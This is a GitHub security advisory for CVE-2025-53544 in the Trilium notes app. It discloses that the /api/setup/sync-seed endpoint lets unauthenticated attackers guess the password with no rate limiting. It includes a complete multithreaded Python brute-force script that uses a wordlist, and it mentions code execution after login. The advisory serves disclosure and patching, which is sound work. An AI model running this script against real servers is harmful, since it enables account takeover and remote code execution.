Skip to content

Brute-force Protection Bypass via Initial Sync Seed Retrieval

High
perfectra1n published GHSA-hw5p-ff75-327r Aug 3, 2025

Package

docker triliumnext/trilium (Docker)

Affected versions

<= 0.96.0

Patched versions

None

Description

Summary

A brute-force protection bypass in the initial sync seed retrieval endpoint allows unauthenticated attackers to guess the login password without triggering rate limiting.

In the case of Trilium, which is a single-user app without a username requirement, a brute-force protection bypass makes exploitation much more feasible. There also isn't a strong password policy in-place, a password can be as simple as "test". Multiple features provided by Trilium (e.g. MFA, share notes, custom request handler) also indicate that Trilium can be exposed to the internet.

Details

The application includes rate limiting and lockout mechanisms on the main login endpoint to prevent brute-force attacks.
image
image

However, the protection can be bypassed by targeting the /api/setup/sync-seed endpoint, which is used during initial sync setup to retrieve the documentSecret for future sync operations.

The affected route and auth middleware:

route(GET, "/api/setup/sync-seed", [auth.checkCredentials], setupApiRoute.getSyncSeed, apiResultHandler);

// auth.checkCredentials middleware
function checkCredentials(req: Request, res: Response, next: NextFunction) {
    if (!sqlInit.isDbInitialized()) {
        res.setHeader("Content-Type", "text/plain").status(400).send("Database is not initialized yet.");
        return;
    }

    if (!passwordService.isPasswordSet()) {
        res.setHeader("Content-Type", "text/plain").status(400).send("Password has not been set yet. Please set a password and repeat the action");
        return;
    }

    const header = req.headers["trilium-cred"] || "";
    if (typeof header !== "string") {
        res.setHeader("Content-Type", "text/plain").status(400).send("Invalid data type for trilium-cred.");
        return;
    }

    const auth = Buffer.from(header, "base64").toString();
    const colonIndex = auth.indexOf(":");
    const password = colonIndex === -1 ? "" : auth.substr(colonIndex + 1);
    // username is ignored

    if (!passwordEncryptionService.verifyPassword(password)) {
        res.setHeader("Content-Type", "text/plain").status(401).send("Incorrect password");
    } else {
        next();
    }
}

PoC

The payload only needs to include the base64-encoded :<password> since username is ignored.

import requests
import time
import argparse
import concurrent.futures
import base64


def brute(target, wordlist, threads):
    def send_request(word):
        url = f"{target}/api/setup/sync-seed"
        encoded_password = base64.b64encode(f":{word}".encode())
        header = {"trilium-cred": encoded_password}
        r = requests.get(url, headers=header)
        if r.status_code == 200:
            print(f"[SUCCESS] {word} (200 {r.reason})")
        else:
            print(f"[FAIL] {word} ({r.status_code} {r.reason})")
        return r.status_code == 200, word

    with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {executor.submit(send_request, word): word for word in wordlist}
        
        for future in concurrent.futures.as_completed(futures):
            success, password = future.result()
            
            if success:
                # Cancel remaining tasks and return successful password.
                for future in futures:
                    future.cancel()
                
                return password

def main():
    parser = argparse.ArgumentParser(description='Trilium server password brute force script')
    parser.add_argument('-t', '--target', help='Target IP address')
    parser.add_argument('-w', '--wordlist', help='Path to wordlist file')
    parser.add_argument('-th', '--threads', type=int, default=50, help='Number of threads (default: 50)')
    
    args = parser.parse_args()
    
    target = args.target
    wordlist = args.wordlist
    threads = args.threads
    
    # Read password wordlist
    try:
        # Try UTF-8 first, then fall back to other encodings
        try:
            with open(wordlist, 'r', encoding='utf-8') as f:
                words = [line.strip() for line in f if line.strip()]
        except UnicodeDecodeError:
            # Try Latin-1 encoding which can handle any byte sequence
            with open(wordlist, 'r', encoding='latin-1') as f:
                words = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"Error: {wordlist} not found")
        return
    except Exception as e:
        print(f"Error reading wordlist: {e}")
        return

    start_time = time.time()
    output = brute(target, words, threads)
    end_time = time.time()
    
    if output:
        elapsed_time = end_time - start_time
        print(f"[+] Password found: {output}")
        print(f"[+] Time taken: {elapsed_time:.2f} seconds")
    else:
        print("[-] Password not found")


if __name__ == "__main__":
    main()

image

Impact

Trilium is designed to be a single-user app, so it comes with powerful features available post-auth. Therefore, any pre-auth vulnerability can lead to severe impacts such as server-side code execution via /api/script/exec or /api/script/run/nodeid.
image
image

Remediation

#6243 was opened and merged to resolve this issue. Versions >= v0.97.0 are patched from this vulnerability. Please reach out on our Matrix channel if you have any questions.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2025-53544

Weaknesses

No CWEs

Credits